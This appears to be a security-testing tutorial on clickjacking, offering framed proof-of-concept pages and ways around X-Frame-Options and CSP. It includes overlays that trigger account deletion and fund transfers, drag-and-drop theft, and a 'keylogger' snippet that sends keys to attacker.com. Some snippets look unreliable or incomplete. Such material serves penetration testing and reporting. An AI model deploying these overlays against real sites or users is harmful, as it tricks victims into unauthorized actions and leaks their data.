Clickjacking: UI Redressing Attacks and Bypassing X-Frame-Options
Clickjacking (also called UI redressing) is an attack where the target website is loaded in a transparent or hidden iframe overlaid on a malicious page. The victim believes they are clicking legitimate interface elements, but their clicks are captured by the overlaid iframe, triggering actions on the target site in their authenticated session.
Basic Clickjacking PoC
| Defense | Effectiveness | Bypass | Notes |
|---|---|---|---|
| X-Frame-Options: DENY | High | None (legacy browsers only) | Old header, still supported |
| X-Frame-Options: SAMEORIGIN | High | Subdomain-hosted attacker page | Doesn't block same-origin iframes |
| CSP frame-ancestors: none | Very High | None | Preferred modern defense |
| CSP frame-ancestors: self | High | Same-origin XSS | Modern and flexible |
| Framebusting JS | Low | Double iframe, sandbox attr | JavaScript-based, easily bypassed |
| SameSite=Strict cookies | Medium | GET state-change actions | Prevents credential passing only |
The classic clickjacking proof-of-concept overlays the target in an invisible iframe:
<!DOCTYPE html>
<html>
<head>
<style>
#target {
position: relative;
opacity: 0.0001; /* Nearly invisible */
z-index: 2;
width: 800px;
height: 600px;
border: none;
}
#decoy {
position: absolute;
top: 330px; /* Position "click here" button over target's sensitive button */
left: 200px;
z-index: 1;
font-size: 20px;
background: blue;
color: white;
padding: 15px;
cursor: pointer;
}
</style>
</head>
<body>
<iframe id="target" src="https://target.com/account/delete"></iframe>
<div id="decoy">Click here to claim your prize!</div>
</body>
</html>
Bypassing X-Frame-Options
X-Frame-Options: DENY and X-Frame-Options: SAMEORIGIN are the primary defenses. Bypass scenarios:
Wildcard Subdomain Trust
If the application sets X-Frame-Options: ALLOW-FROM https://*.company.com, controlling any subdomain allows framing.
Legacy Browser Inconsistencies
Internet Explorer treated multiple X-Frame-Options headers as overriding each other. In some configurations, a proxy could inject a permissive header that takes precedence.
Missing Header on Specific Endpoints
# The main app may have the header, but check subdomains, APIs, and admin panels
curl -s -I https://target.com/settings | grep -i "x-frame-options\|frame-ancestors"
curl -s -I https://admin.target.com/ | grep -i "x-frame-options\|frame-ancestors"
curl -s -I https://target.com/api/user/update | grep -i "x-frame-options"
CSP frame-ancestors Bypass
Content Security Policy with frame-ancestors is the modern replacement for X-Frame-Options. Bypass scenarios:
- Missing directive: CSP exists but lacks
frame-ancestors - Wildcard:
frame-ancestors *allows framing from anywhere - Trusted domain takeover: If a whitelisted domain is taken over (see Subdomain Takeover Guide), framing becomes possible
- Protocol bypass:
frame-ancestors https://trusted.commay not cover http:// or file:// contexts
Multistep Clickjacking
For actions requiring multiple interactions (dialogs, confirmations), a multistep attack uses timed or user-guided clicks:
<style>
#target { opacity: 0.0001; position: absolute; z-index: 2; }
.step { position: absolute; z-index: 1; font-size: 18px; }
#step2 { display: none; }
</style>
<iframe id="target" src="https://target.com/transfer-funds"></iframe>
<div id="step1" class="step" style="top:200px; left:150px">
<button onclick="nextStep()">Step 1: Verify your account</button>
</div>
<div id="step2" class="step" style="top:350px; left:250px">
<button>Step 2: Confirm your identity</button>
</div>
<script>
function nextStep() {
document.getElementById('step1').style.display = 'none';
document.getElementById('step2').style.display = 'block';
// Scroll iframe to confirmation page
document.getElementById('target').contentWindow.scrollBy(0, 200);
}
</script>
Double-Click Jacking
A technique exploiting the browser's double-click handling. The first click triggers a UI event on the attacker's page (e.g., a dialog), and the second click — registered faster than the frame can be hidden — lands on the target iframe:
<div id="overlay" onclick="handleClick()">Double-click to continue</div>
<iframe id="target" src="https://target.com/confirm-delete"
style="opacity:0.0001; position:absolute; z-index:2;"></iframe>
<script>
let clicks = 0;
function handleClick() {
clicks++;
if (clicks === 1) {
// Show something for first click
document.getElementById('overlay').style.display = 'none';
// Target iframe now in the foreground briefly
}
}
</script>
Drag-and-Drop Jacking
This variant tricks users into dragging content out of a hidden iframe, bypassing same-origin restrictions for drag operations in some browsers:
<!-- The iframe contains sensitive text (e.g., a CSRF token) -->
<iframe src="https://target.com/profile" style="opacity:0.0001; z-index:2; position:absolute;"></iframe>
<!-- Decoy drag interface -->
<div ondragover="event.preventDefault()" ondrop="steal(event)">
Drop your file here to upload
</div>
<script>
function steal(e) {
console.log(e.dataTransfer.getData('text'));
// Exfiltrate dropped content
}
</script>
Keylogging via Iframes
In browsers that allow keyboard focus to pass to cross-origin iframes under certain conditions:
<!-- If the iframe can receive keyboard input, capture it -->
<iframe id="keylogger" src="https://target.com/login"
style="opacity:0.0001; width:100%; height:100%; position:fixed; z-index:2;"></iframe>
<script>
window.addEventListener('keydown', function(e) {
fetch('https://attacker.com/log?key=' + e.key);
});
</script>
Detection with Burp Suite
- Use Burp Scanner — it automatically detects missing
X-Frame-Optionsandframe-ancestors - Check the passive scan results for "Clickjacking" findings
- Manually verify by loading the target URL in an iframe and checking if it renders
- Use browser DevTools to check for CSP headers and frame-ancestors directives
PoC Template for Reports
Use this template when reporting clickjacking:
<!-- Save as poc.html and open in browser -->
<!-- Adjust iframe position so the sensitive button aligns with the red div -->
<iframe src="TARGET_URL" style="opacity:0.5; width:800px; height:600px;"></iframe>
<div style="position:absolute; top:TOP_PX; left:LEFT_PX; background:red;
width:100px; height:30px; opacity:0.5;">Click Me</div>
Clickjacking can be combined with CSRF when CSRF tokens are present — the clickjacked form submission includes the token from the legitimate page. High-value targets include account deletion, fund transfers, OAuth permission grants, and admin privilege escalation.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides